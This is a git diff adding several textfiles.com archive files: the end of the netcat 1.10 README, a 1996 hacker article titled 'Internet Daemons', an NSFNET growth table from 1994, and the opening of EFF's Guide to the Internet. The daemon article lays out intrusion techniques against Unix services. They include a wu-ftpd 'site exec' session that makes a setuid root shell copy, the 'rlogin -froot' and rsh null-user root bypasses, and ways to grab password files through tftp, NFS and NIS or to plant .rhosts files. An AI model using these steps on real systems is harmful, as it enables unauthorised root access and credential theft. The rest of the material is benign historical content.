creep near the end of this document. + + Netcat was written with the Russian railroad in mind -- conservatively + built and solid, but it *will* get you there. While the coding style + is fairly "tight", I have attempted to present it cleanly [keeping + *my* lines under 80 characters, dammit] and put in plenty of comments + as to why certain things are done. Items I know to be questionable are + clearly marked with "XXX". Source code was made to be modified, but + determining where to start is difficult with some of the tangles of + spaghetti code that are out there. Here are some of the major points I + feel are worth mentioning about netcat's internal design, whether or + not you agree with my approach. + + Except for generic.h, which changes to adapt more platforms, netcat is + a single source file. This has the distinct advantage of only having + to include headers once and not having to re-declare all my functions + in a billion different places. I have attempted to contain all the + gross who's-got-what-.h-file things in one small dumping ground. + Functions are placed "dependencies-first", such that when the compiler + runs into the calls later, it already knows the type and arguments and + won't complain. No function prototyping -- not even the __P(()) crock + -- is used, since it is more portable and a file of this size is easy + enough to check manually. Each function has a standard-format comment + ahead of it, which is easily found using the regexp " :$". I freely + use gotos. Loops and if-clauses are made as small and non-nested as + possible, and the ends of same *marked* for clarity [I wish everyone + would do this!!]. + + Large structures and buffers are all malloc()ed up on the fly, + slightly larger than the size asked for and zeroed out. This reduces + the chances of damage from those "end of the buffer" fencepost errors + or runaway pointers escaping off the end. These things are permanent + per run, so nothing needs to be freed until the program exits. + + File descriptor zero is always expected to be standard input, even if + it is closed. If a new network descriptor winds up being zero, a + different one is asked for which will be nonzero, and fd zero is + simply left kicking around for the rest of the run. Why? Because + everything else assumes that stdin is always zero and "netfd" is + always positive. This may seem silly, but it was a lot easier to code. + The new fd is obtained directly as a new socket, because trying to + simply dup() a new fd broke subsequent socket-style use of the new fd + under Solaris' stupid streams handling in the socket library. + + The catch-all message and error handlers are implemented with an ample + list of phoney arguments to get around various problems with varargs. + Varargs seems like deliberate obfuscation in the first place, and + using it would also require use of vfprintf() which not all platforms + support. The trailing sleep in bail() is to allow output to flush, + which is sometimes needed if netcat is already on the other end of a + network connection. + + The reader may notice that the section that does DNS lookups seems + much gnarlier and more confusing than other parts. This is NOT MY + FAULT. The sockaddr and hostent abstractions are an abortion that + forces the coder to deal with it. Then again, a lot of BSD kernel code + looks like similar struct-pointer hell. I try to straighten it out + somewhat by defining my own HINF structure, containing names, + ascii-format IP addresses, and binary IP addresses. I fill this + structure exactly once per host argument, and squirrel everything + safely away and handy for whatever wants to reference it later. + + Where many other network apps use the FIONBIO ioctl to set + non-blocking I/O on network sockets, netcat uses straightforward + blocking I/O everywhere. This makes everything very lock-step, relying + on the network and filesystem layers to feed in data when needed. Data + read in is completely written out before any more is fetched. This may + not be quite the right thing to do under some OSes that don't do timed + select() right, but this remains to be seen. + + The hexdump routine is written to be as fast as possible, which is why + it does so much work itself instead of just sprintf()ing everything + together. Each dump line is built into a single buffer and atomically + written out using the lowest level I/O calls. Further improvements + could undoubtedly be made by using writev() and eliminating all + sprintf()s, but it seems to fly right along as is. If both exec-a-prog + mode and a hexdump file is asked for, the hexdump flag is deliberately + turned off to avoid creating random zero-length files. Files are + opened in "truncate" mode; if you want "append" mode instead, change + the open flags in main(). + + main() may look a bit hairy, but that's only because it has to go down + the argv list and handle multiple ports, random mode, and exit status. + Efforts have been made to place a minimum of code inside the getopt() + loop. Any real work is sent off to functions in what is hopefully a + straightforward way. + + Obligatory vendor-bash: If "nc" had become a standard utility years + ago, the commercial vendors would have likely packaged it setuid root + and with -DGAPING_SECURITY_HOLE turned on but not documented. It is + hoped that netcat will aid people in finding and fixing the no-brainer + holes of this sort that keep appearing, by allowing easier + experimentation with the "bare metal" of the network layer. + + It could be argued that netcat already has too many features. I have + tried to avoid "feature creep" by limiting netcat's base functionality + only to those things which are truly relevant to making network + connections and the everyday associated DNS lossage we're used to. + Option switches already have slightly overloaded functionality. Random + port mode is sort of pushing it. The hex-dump feature went in later + because it *is* genuinely useful. The telnet-responder code *almost* + verges on the gratuitous, especially since it mucks with the data + stream, and is left as an optional piece. Many people have asked for + example "how 'bout adding encryption?" and my response is that such + things should be separate entities that could pipe their data + *through* netcat instead of having their own networking code. I am + therefore not completely enthusiastic about adding any more features + to this thing, although you are still free to send along any mods you + think are useful. + + Nonetheless, at this point I think of netcat as my tcp/ip swiss army + knife, and the numerous companion programs and scripts to go with it + as duct tape. Duct tape of course has a light side and a dark side and + binds the universe together, and if I wrap enough of it around what + I'm trying to accomplish, it *will* work. Alternatively, if netcat is + a large hammer, there are many network protocols that are increasingly + looking like nails by now... + + _H* 960320 v1.10 RELEASE -- happy spring! + + [Netcat rules the net ----------] + + +Internet Daemons +Author: Voyager[TNO] +Date: 15. June 1996 + +Internet hosts communicate with each other using either TCP (Transmission Control Protocol) or UDP (User Datagram +Protocol) on top of IP (Internet Protocol). Other protocols are used on top of IP, but TCP and UDP are the ones that are of +interest to us. On a Unix system, the file /etc/protocols will list the available protocols on your machine + +On the Session Layer (OSI model) or the Internet Layer (DOD Protocol Model) data is moved between hosts by using ports. +Each data communication will have a source port number and a destination port number. Port numbers can be divided into two +types, well-known ports and dynamically allocated ports. Under Unix, well-known ports are defined in the file /etc/services. In +addition, RFC (Request For Comments) 1700 "Assigned Numbers" provides a complete listing of all well-known ports. +Dynamically allocated port numbers are assigned as needed by the system. + +Unix provides the ability to connect programs called daemons to well-known ports. The remote computer will connect to the +well-known port on the host computer, and be connected to the daemon program. + +Daemon programs are traditionally started by inetd (The Internet Daemon). Daemon programs to be executed are defined in +the inetd configuration file, /etc/inetd.conf. + +Most of these daemons run as a priveledged user, often as root. Many of these programs have vulnerabilities which can be +exploited to gain access to remote systems. + +The daemons we are interested in are: + + Service Port Number Description + ~~~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ftp 21 File Transfer [Control] + smtp 25 Simple Mail Transfer Protocol + tftp 69 Trivial File Transfer Protocol + finger 79 Finger + www-http 80 World Wide Web HTTP + sunrpc 111 SUN Remote Procedure Call + fln-spx 221 Berkeley rlogind with SPX auth + rsh-spx 222 Berkeley rshd with SPX auth + netinfo 716-719 NetInfo + ibm-res 1405 IBM Remote Execution Starter + nfs 2049 Network File System + x11 6000-6063 X Window System + + rcp/rshd Remote Copy/Remote Shell Daemon + nis Network Information Services + + +The next part of this article will focus on specific daemons and their known vulnerabilities. The vulnerabilities with brief +explanations will be explained here. For the more complicated exploits, which are beyond the scope of a concise article, more +research will be required on the part of the reader. + + ftp 21 File Transfer [Control] + +FTP is the File Transfer Protocol. FTP requests are answered by the FTP daemon, ftpd. wuarchive's ftpd versions below 2.2 +have a vulnerability where you can execute any binary you can see with the 'site exec' command by calling it with a relative +pathname with "../" at the beginning. Here is a sample exploit: + +Login to the system via ftp: + + 220 uswest.com FTP server (Version wu-2.1(1) ready. + Name (uswest.com:waltman): waltman + 331 Password required for waltman. + Password: jim + 230 User waltman logged in. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> quote "site exec cp /bin/sh /tmp/.tno" + 200-cp /bin/sh /tmp/tno + ftp> quote "site exec chmod 6755 /tmp/.tno" + 200-chmod 6755 /tmp/tno + ftp> quit + 221 Goodbye. + + smtp 25 Simple Mail Transfer Protocol + +Mail attacks are one of the oldest known methods of attacking Internet hosts. The most common mail daemon, and least +secure, is sendmail. Other mail daemons include smail, MMDF,and IDA sendmail. Sendmail has had too many vulnerabilities to +list them all. There is an entire FAQ written specifically on sendmail vulnerabilities, therefore we will not cover them heavily +here. + +One well known vulnerability, useful only for historical purposes, is "Wizard Mode." In Wizard mode you could request a shell +via Port 25 (The SMTP port). No modern system will be vulnerable to this attack. To exploit this vulnerability, you telnetted to +port 25, typed WIZ to enter Wizard mode, and entered the password. The problem related to the way the encrypted +password was stored. There was a bug that caused the system to believe that no password was as good as the real password. + +To quote Steven Bellovin: + + The intended behavior of wizard mode was that if you supplied the right password, some other non-standard SMTP + commands were enabled, notably one to give you a shell. The hashed password -- one-way encrypted exactly as per + /etc/passwd -- was stored in the sendmail configuration file. But there was this bug; to explain it, I need to discuss some + arcana relating to sendmail and the C compiler. + + In order to save the expense of reading and parsing the configuration file each time, sendmail has what's known as a + ``frozen configuration file''. The concept is fine; the implementation isn't. To freeze the configuration file, sendmail just + wrote out to disk the entire dynamic memory area (used by malloc) and the `bss' area -- the area that took up no space + in the executable file, but was initialized to all zeros by the UNIX kernel when the program was executed. The bss area + held all variables that were not given explicit initial values by the C source. Naturally, when delivering mail, sendmail just + read these whole chunks back in, in two giant reads. It was therefore necessary to store all configuration file information + in the bss or malloc areas, which demanded a fair amount of care in coding. + + The wizard mode password was stored in malloc'ed memory, so it was frozen properly. But the pointer to it was + explicitly set to NULL in the source: + + char *wiz = NULL; + + That meant that it was in the initialized data area, *not* the bss. And it was therefore *not* saved with the frozen + configuration. So -- when the configuration file is parsed and frozen, the password is read, and written out. The next time + sendmail is run, though, the pointer will be reset to NULL. (The password is present, of course, but there's no way to + find it.) And the code stupidly believed in the concept of no password for the back door. + + One more point is worth noting -- during testing, sendmail did the right thing with wizard mode. That is, it did check the + password -- because if you didn't happen to do the wizard mode test with a frozen configuration file -- and most testing + would not be done that way, since you have to refreeze after each compilation -- the pointer would be correct. + + tftp 69 Trivial File Transfer Protocol + +tftp is the Trivial File Transfer Protocol. tftp is most often used to attempt to grab password files from remote systems. tftp +attacks are so simple and repetitive that scripts are written to automate the process of attacking entire domains. Here is one +such script: Already published in the first book of Matic! + + finger 79 Finger + +The finger command displays information about another user, such as login name, full name, terminal name, idle time, login time, +and location if known. finger requests are answered by the fingerd daemon. + +Robert Tappan Morris's Internet Worm used the finger daemon. The finger daemon allowed up to 512 bytes from the remote +machine as part of the finger request. fingerd, however, suffered from a buffer overflow bug caused by a lack proper bounds +checking. Anything over 512 got interpreted by the machine being fingered as an instruction to be executed locally, with +whatever privileges the finger daemon had. + + www-http 80 World Wide Web HTTP + +HTML (HyperText Markup Language) allows web page user to execute programs on the host system. If the web page +designer allows the web page user to enter arguments to the commands, the system is vulnerable to the usual problems +associated with system() type calls. In addition, there is a vulnerability that under some circumstances will give you an X-Term +using the UID that the WWW server is running under. + + sunrpc 111 SUN Remote Procedure Call + +Sun RPC (Remote Procedure Call) allows users to execute procedures on remote hosts. RPC has suffered from a lack of +secure authentification. To exploit RPC vulnerabilities, you should have a program called "ont" which is not terribly difficult to +find. + + login 513 Remote login + +Some versions of AIX and Linux suffer from a bug in the way that rlogind reads arguments. To exploit this vulnerability, issue +this command from a remote system: + +rlogin host -l -froot + +Where host is the name of the target machine and username is the username you would like to rlogin as (usully root). If this bug +exists on the hosts system, you will be logged in, without being asked for a password. + + rsh-spx 222 Berkeley rshd with SPX auth + +Some versions of Dynix and Irix have a bug in rshd that allows you to run commands as root. To exploit this vulnerability, issue +this command from the remote system: + +rsh host -l "" /bin/sh + + netinfo 716-719 NetInfo + +NeXT has implemented a protocol known as NetInfo so that one NeXT machine can query another NeXT machine for +information. A NetInfo server will by default allow unrestricted access to system databases. This can be fixed by the System +Administrator. One of the pieces of information netinfo will give up is the password file. + + ibm-res 1405 IBM Remote Execution Starter + +rexd (the remote execution daemon) allows you to execute a program on another Unix machine. AIX, NeXT and HPUX +versions of rexd have suffered from a vulnerability allowing unintended remote execution. The rexd daemon checks your uid on +the machine you are coming from, therefore you must be root on the machine you are mounting the rexd attack from. To +determine if your target machine is running rexd, use the 'rcp -p ' command. You will also need the exploit program known as +'on' which is available on fine H/P boards everywhere. + + nfs 2049 Network File System + +NFS, the Network File System, from Sun Microsystems has suffered from multiple security vulnerabilities. In addition, many +system administrators configure NFS incorrectly, allowing unintended remote access. + +Using the command 'showmount -e ' you can view what file systems are exported from a machine. Many administrators allow +read access to the /etc directory, allowing you to copy the password file. Other administrators allow write access to user +directories, allowing you to create .rhosts files and gain access to the machine via rlogin or rsh. + +In addition to configuration issues, NFS is vulnerable to attacks using a uid masking bug, a mknod bug, and a general file +handle guessing attack. Several hacked versions of the mount command have been written to exploit known vulnerabilities. + + x11 6000-6063 X Window System + +X-Windows has suffered and currently suffers from numerous vulnerabilities. One vulnerability allows you to access another +users display, another allows you to view another users keystrokes. Another vulnerability allows a remote attacker to run every +program that the root user starts in his or her .xsession file. Yet another X-Windows vulnerability allows a local user to create a +root entry in the /etc/passwd file. + + rcp + +The SunOS 4.0.x rcp utility can be exploited by any trusted host listed in /etc/hosts.equiv or /.rhosts. To exploit this hole you +must be running NFS (Network File System) on a Unix system or PC/NFS on a DOS system. + + NIS + +Sun's NIS (Network Information Service) also known as yp (Yellow Pages) has a vulnerability where you can request an NIS +map from another NIS domain if you know the NIS domain name of the target system. There is no way to query a remote +system for it's NIS domainname, but many NIS domain names are easily guessable. The most popular NIS map to request is +passwd.byname, the NIS implementation of /etc/passwd. In addition, if you have access to a diskless Unix workstation, you +can determine the NIS domain name of the server it boots from. + + + +--------------------------------------------------------+ + + Do not confuse NIS domain names with DNS domain names! + + +--------------------------------------------------------+ + + + Other attacks + +In addition to these daemon based attacks, many other methods can be used to gain access to a remote computer. These +include, but are not limited to: default accounts, password guessing, sniffing, source routing, DNS routing attacks, tcp sequence +prediction and uucp configuration exploits. + +This should give you an idea on how daemon based attacks function. By no means is this a complete list of security +vulnerabilities in privileged internet daemons. To discover more information about how these daemons operate, and how to +exploit their vulnerabilities, I highly recommend reading source code, man pages and RFC's. + + + diff --git a/textfiles.com/internet/netcount.hst b/textfiles.com/internet/netcount.hst new file mode 100644 index 00000000..3ee8f143 --- /dev/null +++ b/textfiles.com/internet/netcount.hst @@ -0,0 +1,100 @@ + /nsfnet/statistics/history.netcount + + + History of NSFNET Growth by Networks + + 01 June 1994 + + + Total Prefix Length Total + Date Nets= */8 + */16 + */24 +/Other Non-US + ----- ----- ----- ----- ----- ------ ------ + 88/07 217 1 128 37 0 9 + 88/08 241 2 133 40 0 9 + 88/09 292 3 139 45 0 9 + 88/10 305 5 175 52 0 14 + 88/11 334 5 195 59 0 33 + 88/12 346 5 205 64 0 33 + 89/01 384 6 212 70 0 34 + 89/02 410 6 234 82 0 35 + 89/03 467 6 257 90 0 38 + 89/04 516 6 287 108 0 61 + 89/05 564 6 321 128 0 95 + 89/06 603 8 340 143 0 95 + 89/07 650 9 351 153 0 99 + 89/08 745 9 408 181 0 137 + 89/09 809 9 443 198 0 153 + 89/10 837 9 460 205 0 162 + 89/11 897 9 492 236 0 191 + 89/12 927 9 512 245 0 202 + 90/01 1233 12 758 417 0 250 + 90/02 1290 12 775 439 0 257 + 90/03 1356 12 803 466 0 284 + 90/04 1525 12 852 498 0 322 + 90/05 1580 12 880 519 0 344 + 90/06 1639 13 907 549 0 359 + 90/07 1727 13 985 586 0 436 + 90/08 1894 13 1059 654 0 468 + 90/09 1988 13 1101 687 0 496 + 90/10 2063 13 1146 727 0 542 + 90/11 2125 13 1174 777 0 583 + 90/12 2190 13 1201 815 0 621 + 91/01 2338 13 1266 890 0 693 + 91/02 2417 13 1315 922 0 721 + 91/03 2501 13 1362 959 0 762 + 91/04 2622 14 1410 1029 0 804 + 91/05 2763 14 1492 1083 0 882 + 91/06 2982 15 1606 1176 0 989 + 91/07 3086 15 1663 1232 0 1012 + 91/08 3258 15 1747 1308 0 1066 + 91/09 3389 16 1805 1378 0 1128 + 91/10 3556 16 1864 1485 0 1214 + 91/11 3751 16 1934 1598 0 1302 + 91/12 4305 16 2105 1970 0 1450 + 92/01 4526 16 2199 2107 0 1496 + 92/02 4740 16 2335 2224 0 1595 + 92/03 4976 17 2420 2328 0 1697 + 92/04 5291 18 2523 2533 0 1806 + 92/05 5515 18 2580 2711 0 1911 + 92/06 5739 18 2646 2861 0 2002 + 92/07 6031 19 2741 3052 0 2133 + 92/08 6385 19 2829 3314 0 2273 + 92/09 6640 19 2889 3519 0 2336 + 92/10 7354 20 3043 4037 0 2566 + 92/11 7854 20 3111 4410 0 2832 + 92/12 8561 25 3280 5256 0 3195 + 93/01 9117 25 3340 5752 0 3413 + 93/02 9604 24 3413 6167 0 3708 + 93/03 10498 23 3494 6981 0 4103 + 93/04 11252 23 3567 7662 0 4462 + 93/05 12349 23 3659 8667 0 4951 + 93/06 13170 24 3726 9420 0 5461 + 93/07 14121 26 3818 10277 0 5827 + 93/08 15160 26 3890 11244 0 6265 + 93/09 16696 27 3993 12676 0 7071 + 93/10 17979 27 4080 13872 0 7539 + 93/11 19664 26 4155 15483 0 8106 + 93/12 21430 27 4244 17159 0 9042 + 94/01 23494 28 4349 19117 0 9869 + 94/02 25706 28 4450 21228 0 10924 + 94/03 28578 28 4572 23930 48 11966 + 94/04 30626 29 4722 25509 366 12724 + 94/05 32370 29 4817 27064 460 13541 + + NOTES: + This report is a listing by month of the number of networks + configured for announcement on the NSFNET infrastructure. + It includes a breakdown by IP class and the number of + non-US nets. + Network IP addresses have historically been grouped into + three classes: A for IPs 1-126, B for 128-191, and C + for 192-254. With the advent of CIDR blocks in March + 1994, the classes have been re-labelled according to + the corresponding prefix length. The "Other" column + is used for networks using prefixes other 8, 16, or 24. + Prior to December 1992, the sum of the values in the Prefix + Length columns will not usually add to the total. The + difference represents deleted networks for which we no + longer have enough information to determine their class. + Counts exclude networks that are configured for the ANSNet + backbone but are not routed by NSFNET. diff --git a/textfiles.com/internet/netguide.txt b/textfiles.com/internet/netguide.txt new file mode 100644 index 00000000..1a8bd90e --- /dev/null +++ b/textfiles.com/internet/netguide.txt @@ -0,0 +1,9971 @@ + + + (formerly The Big Dummy's Guide to the Internet) + + Adam Gaffin + + Oct. 23, 1995 + + Copyright 1993, 1994, 1995 Electronic Frontier Foundation. + All rights reserved. + + +DISTRIBUTION: + +This guide is available free of charge from the EFF online archives at +ftp.eff.org, gopher.eff.org, http://www.eff.org/, AOL keyword EFF, CIS +EFFSIG forum, and elsewhere. + +This guide may be freely reproduced & distributed electronically or in +hardcopy, provided the following conditions are met: + +1) Please do not qualitatively modify the guide, and leave all copyright, +distribution, attribution, and EFF information intact. Permission expressly +granted for translation to other languages and conversion to other formats. +Please see : +http://www.eff.org/pub/Net_info/EFF_Net_Guide/README.making_new_versions +for information on the applicable restrictions, or ask mech@eff.org for a +copy of this README document. + +2) EFF has signed a contract with MIT Press to publish a hardcopy book +version of the guide, entitled _Everybody's_Guide_to_the_Internet_. +All other for-profit distribution of printed versions of the guide +is forbidden, unless permitted in writing. More non-English hardcopy editions +may appear in the future (Japanese and Hungarian are currently available). +However, you may print out copies and recoup the cost of printing and +distribution by charging a nominal fee. Thus, you are welcome to use the +Guide as instructional material, and for other not-for-profit purposes. + +3) Any for-profit non-paper distribution (such as shareware vendor +diskettes, CD-ROM collections, etc.) must be approved by the Electronic +Frontier Foundation (the time- and usage-based access fees of online services, +bulletin boards, and network access providers are specifically exempted). +Donations appreciated. + +4) You may not charge a for-profit fee specifically for this guide, only for +a collection containing the guide, with the execeptions of nominal copying +charges and online usage fees, as exempted above. + +The Electronic Frontier Foundation +P.O. Box 170190 +San Francisco CA 94117 USA ++1 415 668 7171 (voice) ++1 415 668 7007 (fax) +Internet: ask@eff.org + + + + + TABLE OF CONTENTS + + +Foreword by Mitchell Kapor, co-founder, Electronic Frontier Foundation. + +Preface by Adam Gaffin, senior writer, Network World. + +Chapter 1: Setting up and jacking in + 1.1 Ready, set ... + 1.2 Go! + 1.3 Public-access Internet providers + 1.4 North American providers + 1.5 European and other providers + 1.6 If your town has no direct access + 1.7 Net origins + 1.8 How it works + 1.9 When things go wrong + 1.10 FYI + +Chapter 2: E-mail + 2.1 The basics + 2.2 Elm -- a better way + 2.3 Pine -- an even better way + 2.4 Smileys + 2.5 Sending e-mail to other networks + 2.6 Seven Unix commands you can't live without + 2.7 When things go wrong + +Chapter 3: Usenet I + 3.1 The global watering hole + 3.2 Navigating Usenet with nn + 3.3 nn commands + 3.4 Using rn + 3.5 rn commands + 3.6 Essential newsgroups + 3.7 Speaking up + 3.8 Cross-posting + +Chapter 4: Usenet II + 4.1 Flame, blather and spew + 4.2 Killfiles: The cure for what ails you + 4.3 Downloading messages + 4.4 Some Usenet hints + 4.5 The Brain-Tumor Boy, the modem tax and the FCC + 4.6 Big Sig + 4.7 The First Amendment as local ordinance + 4.8 Usenet history + 4.9 When things go wrong + 4.10 FYI + +Chapter 5: Mailing lists and Bitnet + 5.1 Internet mailing lists + 5.2 Bitnet + +Chapter 6: Telnet + 6.1 Mining the Net + 6.2 Library catalogs + 6.3 Some interesting telnet sites + 6.4 Telnet bulletin-board systems + 6.5 Putting the finger on someone + 6.6 Finding someone on the Net + 6.7 When things go wrong + 6.8 FYI + +Chapter 7: FTP + 7.1 Tons of files + 7.2 Your friend archie + 7.3 Getting the files + 7.4 Odd letters -- decoding file endings + 7.5 The keyboard cabal + 7.6 Some interesting ftp sites + 7.7 ncftp -- now you tell me! + 7.8 Project Gutenberg -- electronic books + 7.9 When things go wrong + 7.10 FYI + +Chapter 8: Gophers and WAISs + 8.1 Gophers + 8.2 Burrowing deeper + 8.3 Gopher commands + 8.4 Some interesting gophers + 8.5 Wide-Area Information Servers + 8.6 When things go wrong + 8.7 FYI + +Chapter 9: The World-Wide Web + 9.1 Getting snared in the Web + 9.2 Alright, already, let's go! + 9.3 Addressing a problem + 9.4 Imagine that -- downloading pictures + 9.5 Lynx, meet Gopher + 9.6 Finding things on the Web + 9.7 SLIP: But I want to use my mouse! + 9.8 More on SLIP + 9.9 HTML: Building your own + 9.10 Some interesting WWW servers + 9.11 Lynx commands + 9.12 When things go wrong + 9.13 FYI + +Chapter 10: Advanced E-mail + 10.1 The file's in the mail + 10.2 Receiving files + 10.3 Sending files to non-Internet sites + 10.4 Getting ftp files via e-mail + 10.5 Mining for info on Usenet via e-mail + 10.6 Just the fax, ma'am + 10.7 The all knowing Oracle + 10.8 When things go wrong + 10.9 FYI + +Chapter 11: News of the world + 11.1 Clarinet: Associated Press, Miss Manners and Dilbert + 11.2 Still more news on the Net + 11.3 The world today, FROM Belarus to Brazil + 11.4 FYI + +Chapter 12: IRC, MUDs and other things that are more fun than they sound + 12.1 Talk + 12.2 Internet Relay Chat + 12.3 IRC commands + 12.4 IRC in times of crisis + 12.5 MUDs + 12.6 Go, go, go (and chess, too)! + 12.7 The other side of the coin + 12.8 FYI + +Chapter 13: Education and the Net + 13.1 The Net in the Classroom + 13.2 Some specific resources for students and teachers + 13.3 Usenet and Bitnet in the classroom + +Chapter 14: Business on the Net + 14.1 Setting up shop + 14.2 Online storefronts + 14.3 The check is in the (e)-mail + 14.4 The good, the bad and the ugly + 14.5 FYI + +Chapter 15: The end? + +Appendix A: The Lingo + +Appendix B: Electronic Frontier Foundation Information + + + +Foreword +By Mitchell Kapor, +Co-founder, Electronic Frontier Foundation. + +Welcome to the World of the Internet. + +The Electronic Frontier Foundation (EFF) is proud to have sponsored the +production of EFF's Guide to the Internet. EFF is a nonprofit +organization based in Washington, D.C., dedicated to ensuring that +everyone has access to the newly emerging communications technologies +vital to active participation in the events of our world. As more and +more information is available online, new doors open up for those who +have access to that information. Unfortunately, unless access is broadly +encouraged, individuals can be disenfranchised and doors can close, as +well. EFF's Guide to the Internet was written to help open some doors to +the vast amounts of information available on the world's largest network, +the Internet. + +The spark for EFF's Guide to the Internet, and its companion MIT Press +book version, Everybody's Guide to the Internet, was ignited in a few +informal conversations that included myself and Steve Cisler of Apple +Computer, Inc., in June of 1991. With the support of Apple Computer, EFF +engaged Adam Gaffin to write the book and actually took on the project in +September of 1991. The guide was originally published electronically in +July of 1993 as the Big Dummy's Guide to the Internet. + +The idea was to write a guide to the Internet for people who had little +or no experience with network communications. We intended to post this +guide to the net in ASCII and other formats and to give it away on disk, +as well as have a print edition available. We have more than realized +our goal. Individuals from as geographically far away as Germany, Italy, +Canada, South Africa, Japan, Scotland, Norway and Antarctica have all +sent electronic mail to say that they downloaded the guide. EFF's Guide +to the Internet is now available in a wide array of formats, including +ASCII text, Windows Help, World-Wide Web, PostScript, and AmigaGuide. +And the guide is finally available in a printed format, as well. + +You can find the electronic version of Everybody's Guide to the Internet +by using anonymous ftp to ftp.eff.org and accessing +/pub/Net_info/Guidebooks/EFF_Net_Guide/netguide.eff. Or send an e-mail +message to info@eff.org. The electronic version is updated on a regular +basis with a newletter (/pub/Net_info/Guidebooks/EFF_Net_Guide/Updates/), +and occasional new versions of the guide itself. + +EFF would like to thank author Adam Gaffin for doing a terrific job of +explaining the net in such a nonthreatening way. We'd also like to thank +the folks at Apple, especially Steve Cisler of the Apple Library, for +their support of our efforts to bring this guide to you. Finally, we'd +like to thank our publishers at MIT Press, especially Bob Prior, for +working out an arrangement with us where we can continue to distribute +the text in electronic format and forego our royalties in order to keep +the price of the book low. + +We invite you to join with EFF in our fight to ensure that equal access +to the networks and free speech are protected in newly emerging +technologies. We are a membership organization, and through donations +like yours, we can continue to sponsor important projects to make +communications easier. Information about the Electronic Frontier +Foundation and some of the work that we do can be found at the end of +this book. + +We hope that EFF's Guide to the Internet helps you learn about whole new +worlds, where new friends and experiences are sure to be yours. Enjoy! + +Mitchell Kapor +Chairman of the Board +Electronic Frontier Foundation +mkapor@eff.org + +QUERIES: Please send all queries regarding EFF, and availability and +distribution of the guide to ask@eff.org, or one of the other EFF addresses +above. Please send all updates, corrections, and queries regarding the +content of the guide to the author, Adam Gaffin, at adamg@world.std.com. + + + + +Preface +By Adam Gaffin, +Senior Writer, Network World, Framingham, Mass. + +Welcome to the Internet! You're about to start a journey through a unique +land without frontiers, a place that is everywhere at once -- even though +it exists physically only as a series of electrical impulses. You'll be +joining a growing community of millions of people around the world who +use this global resource on a daily basis. + +With this book, you will be able to use the Internet to: + + = Stay in touch with friends, relatives and colleagues around the + world, at a fraction of the cost of phone calls or even air + mail. + + = Discuss everything from archaeology to zoology with people in + several different languages. + + = Tap into thousands of information databases and libraries + worldwide. + + = Retrieve any of thousands of documents, journals, books and + computer programs. + + = Stay up to date with wire-service news and sports and + with official weather reports. + + = Play live, "real time" games with dozens of other people at once. + +Connecting to "the Net" today, takes something of a sense of adventure, a +willingness to learn and an ability to take a deep breath every once in +awhile. Visiting the Net today is a lot like journeying to a foreign +country. There are so many things to see and do, but everything at first +will seem so, well, foreign. + +When you first arrive, you won't be able to read the street signs. +You'll get lost. If you're unlucky, you may even run into some locals +who'd just as soon you went back to where you came from. If this weren't +enough, the entire country is constantly under construction; every day, +it seems like there's something new for you to figure out. + +Fortunately, most of the locals are actually friendly. In fact, the Net +actually has a rich tradition of helping out visitors and newcomers. +Until very recently, there were few written guides for ordinary people, +and the Net grew largely through an "oral" tradition in which the old- +timers helped the newcomers. + +So when you connect, don't be afraid to ask for help. You'll be +surprised at how many people will lend a hand! + +Without such folks, in fact, this guide would not be possible. My thanks +to all the people who have written with suggestion, additions and +corrections since the Big Dummy's Guide first appeared on the Internet in +1993. + +Special thanks go to my loving wife Nancy. I would also like to thank +the following people, who, whether they know it or not, provided +particular help. + +Adam Atkinson, Rhonda Chapman, Jim Cocks, Tom Czarnik, Christopher Davis, +David DeSimone, Jeanne deVoto, Phil Eschallier, Nico Garcia, Joe +Granrose, Joerg Heitkoetter, Joe Ilacqua, Jonathan Kamens, Peter +Kaminski, Thomas A. Kreeger, Stanton McCandlish, Leanne Phillips, Nancy +Reynolds, Helen Trillian Rose, Barry Shein, Jennifer "Moira" Smith, +Gerard van der Leun and Scott Yanoff. + +If you have any suggestions or comments on how to make this guide +better, I'd love to hear them. You can reach me via e-mail at +adamg@world.std.com. + +Boston, Mass., February, 1995. + + + + + + + + + + + +Chapter 1: SETTING UP AND JACKING IN + + + +1.1 READY, SET ... + +The world is just a phone call away. With a computer and modem, you'll +be able to connect to the Internet, the world's largest computer network +(and if you're lucky, you won't even need the modem; many colleges and +companies now give their students or employees direct access to the +Internet). + +The phone line can be your existing voice line -- just remember that if +you have any extensions, you (and everybody else in the house or office) +won't be able to use them for voice calls while you are connected to the +Net. + +A modem is a sort of translator between computers and the phone system. +It's needed because computers and the phone system process and transmit +data, or information, in two different, and incompatible ways. Computers +"talk" digitally; that is, they store and process information as a series +of discrete numbers. The phone network relies on analog signals, which +on an oscilloscope would look like a series of waves. When your computer +is ready to transmit data to another computer over a phone line, your +modem converts the computer numbers into these waves (which sound like a +lot of screeching) -- it "modulates" them. In turn, when information +waves come into your modem, it converts them into numbers your computer +can process, by "demodulating" them. + +Increasingly, computers come with modems already installed. If yours +didn't, you'll have to decide what speed modem to get. Modem speeds are +judged in bits per second or "bps." One bps means the modem can +transfer roughly one bit per second; the greater the bps rate, the more +quickly a modem can send and receive information. A letter or character +is made up of eight bits. You can now buy a 14,400-bps modem for under +$100 -- and most now come with the ability to handle fax messages as +well. For under $300, you can buy a modem that can transfer data at +28,800 bps (and often even faster, using special compression techniques). +If you think you might be using the Net to transfer large numbers of +files, a faster modem is always worth the price. It will dramatically +reduce the amount of time your modem or computer is tied up transferring +files and, if you are paying for Net access by the hour, will save you +quite a bit in online charges. + +Like the computer to which it attaches, a modem is useless without +software to tell it how to work. Most modems today come with easy-to- +install software that will let you connect not only to the Internet but +other services, such as bulletin-board systems and many commercial online +networks, such as CompuServe. Try the program out. If you find it +difficult to use or understand, consider a trip to the local software +store to find a better program. You can spend several hundred dollars on +a communications program, but unless you have very specialized needs, +this will be a waste of money, as there are a host of excellent programs +available for around $100 or less. Among the basic features you want to +look for are a choice of different "protocols" (more on them in a bit) +for transferring files to and from the Net and the ability to write +"script" or "command" files that let you automate such steps as logging +into a host system. + +When you buy a modem and the software, ask the dealer how to install +and use them. Try out the software if you can. If the dealer can't help +you, find another dealer. You'll not only save yourself a lot of +frustration, you'll also have practiced the prime Internet directive: +"Ask. People Know." + +In addition to the software that comes with your modem, you can now also +buy special software kits for getting onto the internet -- at least, if +you use Windows or a Macintosh. Some of these work only with a particular +Internet provider; others let you connect to the provider of your choice. +There are both advantages and disadvantages to these packages; we'll +look at these programs in a little more detail in Chapter 9. This guide +is geared more toward folks using older style software, such as Procomm, 